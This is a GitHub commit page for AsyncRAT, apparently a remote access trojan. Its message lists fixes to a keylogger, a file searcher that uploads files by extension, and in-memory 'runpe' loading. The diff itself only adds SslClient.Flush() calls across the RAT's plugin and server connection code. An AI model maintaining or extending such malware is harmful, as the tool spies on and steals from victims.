Skip to content

Commit

Permalink
Update
Browse files Browse the repository at this point in the history
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added group to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
  • Loading branch information
Nyrotication committed Apr 22, 2020
1 parent dfa505e commit abca238
Show file tree
Hide file tree
Showing 15 changed files with 24 additions and 0 deletions.
1 change: 1 addition & 0 deletions AsyncRAT-C#/Client/Connection/ClientSocket.cs
Original file line number Diff line number Diff line change
Expand Up @@ -233,6 +233,7 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
Expand Down
1 change: 1 addition & 0 deletions AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -193,6 +193,7 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
Expand Down
1 change: 1 addition & 0 deletions AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,7 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
Expand Down
1 change: 1 addition & 0 deletions AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -196,6 +196,7 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
Expand Down
2 changes: 2 additions & 0 deletions AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -197,11 +197,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
1 change: 1 addition & 0 deletions AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,7 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -190,6 +190,7 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
Expand Down
2 changes: 2 additions & 0 deletions AsyncRAT-C#/Plugin/Options/Options/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -190,11 +190,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -190,11 +190,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
3 changes: 3 additions & 0 deletions AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -109,11 +109,14 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();

}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
2 changes: 2 additions & 0 deletions AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -189,11 +189,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
2 changes: 2 additions & 0 deletions AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -190,11 +190,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
2 changes: 2 additions & 0 deletions AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -189,11 +189,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
2 changes: 2 additions & 0 deletions AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs
Original file line number Diff line number Diff line change
Expand Up @@ -189,11 +189,13 @@ public static void Send(byte[] msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
else
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Expand Down
1 change: 1 addition & 0 deletions AsyncRAT-C#/Server/Connection/Clients.cs
Original file line number Diff line number Diff line change
Expand Up @@ -198,6 +198,7 @@ public void Send(object msg)
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
lock (Settings.LockReceivedSendValue)
Settings.SentValue += read;
}
Expand Down

0 comments on commit abca238

Please sign in to comment.